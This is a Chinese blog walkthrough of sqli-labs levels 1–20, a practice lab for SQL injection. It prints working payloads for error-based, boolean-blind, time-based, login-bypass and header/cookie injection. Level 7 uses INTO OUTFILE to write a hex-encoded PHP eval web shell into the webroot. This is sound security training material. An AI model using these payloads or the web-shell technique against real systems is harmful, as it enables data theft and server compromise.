sqli-labs(Page 1)

Less-01

单引号报错。

在这里插入图片描述
拼接'and 1=1--+正常,=2异常:

在这里插入图片描述
在这里插入图片描述这里直接使用update函数报错注入。
' and updatexml(1,concat(0x7e,database()),1)--+,直接爆出数据库名。
在这里插入图片描述爆表:' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),1)--+

xpath每次只能输出一条,所以用到limit限制。
在这里插入图片描述爆column:' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),1)--+
在这里插入图片描述爆值:' and updatexml(1,concat(0x7e,(select password from users limit 2,1)),1)--+
在这里插入图片描述

Less-02

单引号报错,and 1=1正常,=2异常,但是这关没有了单引号,数字型注入。

同样,updataxml注入。
在这里插入图片描述

Less-03

单引号报错,根据错误信息,进行闭合。

' or '1'='1正常。
在这里插入图片描述但是有个问题,变成2也正常,说明还没有完全闭合。再看报错信息,传入的参数被放到单引号加括号中。

加个括号看看。

') and 1=1--+
在这里插入图片描述正常了,改成2,显示异常。

其他一样,仍然报错注入。

在这里插入图片描述

Less-04

在这里插入图片描述根据报错信息,参数放在了双引号加圆括号中,

上一关是单引号,这一关只需要变成双引号就可以,其他保持不变。

") and updatexml(1,concat(0x7e,database()),1)--+
在这里插入图片描述

Less-05

这关直接用floor报错注入。

所用的Payload:-1’ union select 1,count(*),concat(database(),floor(rand(0)*2 ))x from information_schema.tables group by x--+
在这里插入图片描述爆表,把database()替换成查询语句即可:-1’ union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2 ))x from information_schema.tables group by x--+
在这里插入图片描述之后方法就一样的了。

在这里插入图片描述

Less-06

只需要把上一关的单引号替换为双引号即可达到闭合效果。
在这里插入图片描述
在这里插入图片描述

Less-07

提到了 into Outfile,那就用喽。

先在前面关卡找到路径:

在这里插入图片描述
当然,本地搭建的,都知道肯定在这个路径了。不过流程还是要走的嘛。

拿到路径之后,先找闭合,这里的错误信息没有了具体,只提示有错误,引号,括号都试试,发现是'))--+

闭合,现在可以构造Payload了。

1')) union select null,0x3c3f70687020406576616c28245f504f53545b2761275d293b203f3e,null into outfile 'D:\phpstudy\PhpStudy2018\PHPTutorial\WWW\shell.php'--+

执行结束会报错,但是路径下已经出现了一个shell.php文件。

在这里插入图片描述
之后蚁剑连接就可以。

Less-08

单引号报错,构造' and 1=1--+正常,2异常,

union select是没有结果的,用到判断。

' and length(database())=8--+判断数据库长度。

如果语句正确返回正常,如果错误例如替换>8,则返回异常:

在这里插入图片描述然后爆库:' and left( select database(),1)='s'--+同样,正确正常,不符合异常。
在这里插入图片描述但是这里遇到个难题,第一个字符找出来之后,第二个字符总返回异常,换了个语句,用ascii,当然,也可以用if.

就变成了' and (select ascii(substr(database(),1,1))=115)--+

然后就可以通过改变位数和ascii值来猜测字符,比如第二个字符e

' and (select ascii(substr(database(),2,2))=101)--+

在这里插入图片描述
配合<、>缩小猜测范围,和那个聚会时候玩的猜数游戏很像。

之后的表,字段都可以用这种方法,缺点就是慢,费时间,当然,神器SQLMap从来不过时。

' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)--+

在这里插入图片描述

在这里插入图片描述
上图就是纯猜数猜出来的,68对应字母D。

Less-09

这一关无论输入什么都没有错误信息,看到标题的Time based,是不是时间注入,Burp抓包看下。

在这里插入图片描述

注意右下角的时间,确实延迟了,证明存在延迟注入。

然后就和上一关一样可以猜测,但是缺点同样是消耗时间,可以SQLMap跑。

' and if(length(database())=8,sleep(5),1)

在这里插入图片描述
之后的Payload可以参考上一关。

Less-10

只需要把上一关的单引号闭合替换为双引号闭合即可,其他的流程都一样。

在这里插入图片描述

Less-11

这关开始就变成了登录框。

在这里插入图片描述

最简单的注入,万能登录:admin' or '1'='1,密码随便填。

在这里插入图片描述抓包看到传入的参数带有unamepasswd

猜测注入点在uname处,加个单引号。

在这里插入图片描述
报错了。

admin' and 1=1--+,正常

在这里插入图片描述
之后Payload和第一关一样,updatexml报错注入。

在这里插入图片描述

Less-12

同样抓包,是双引号加圆括号闭合,其他和上一关一样。

在这里插入图片描述万能登录也可以:admin"#
在这里插入图片描述

Less-13

抓包分析,通过')闭合,构造admin') and updatexml(1,concat(0x7e,database()),1) and ('即可。

在这里插入图片描述之后流程参考前面。

Less-14

单引号没有返回错误信息,双引号返回。

在这里插入图片描述根据报错信息,传入的参数放在了双引号之中。

构造:'admin" and updatexml(1,concat(0x7e,database()),1) and "

在这里插入图片描述

Less-15

admin' and 1=1--+正常,2错误,但是之后无论拼接什么语句都没有回显,用延迟。

在这里插入图片描述
可以注入,Payload参考Less-08。

Less-16

在这里插入图片描述
同样延迟注入,找到闭合点")即可。

Less-17

抓包,这次updatexmluname处不管用了,看一下源码:

$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

对传入的uname进行了处理,但是下边的passwd什么都没有,注入点就是它了。

在这里插入图片描述

Less-18

在这里插入图片描述这关不一样了,标题是Header注入,抓包看看。

头就是User-Agent,单引号报错,但是这里我遇到个问题,找到了注入点,传入了语句,但是一直没有回显。

在这里插入图片描述

没太搞懂为什么,找了一下网上的Payload,也没有回显。以后再研究。

Less-19

在这里插入图片描述

回显变成了refer,在这里注入。

在这里插入图片描述

好嘛,也是这个问题,证明是我自己的原因。
但是,emmmmm,把别人的Payload拷过来也一样没有回显啊,为啥子捏?

Less-20

在这里插入图片描述
看到了Cookie,注入点应该找到了。

在这里插入图片描述

单引号报错。
' and 1=1--+正常,2异常。
在这里插入图片描述
字段长为3都知道了,判断回显点。

在这里插入图片描述之后就正常的爆库了。不过这里输出的信息一只有一位。

在这里插入图片描述在后面加个limit限制就好了。

在这里插入图片描述
我继续去研究中间那两道头注入了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值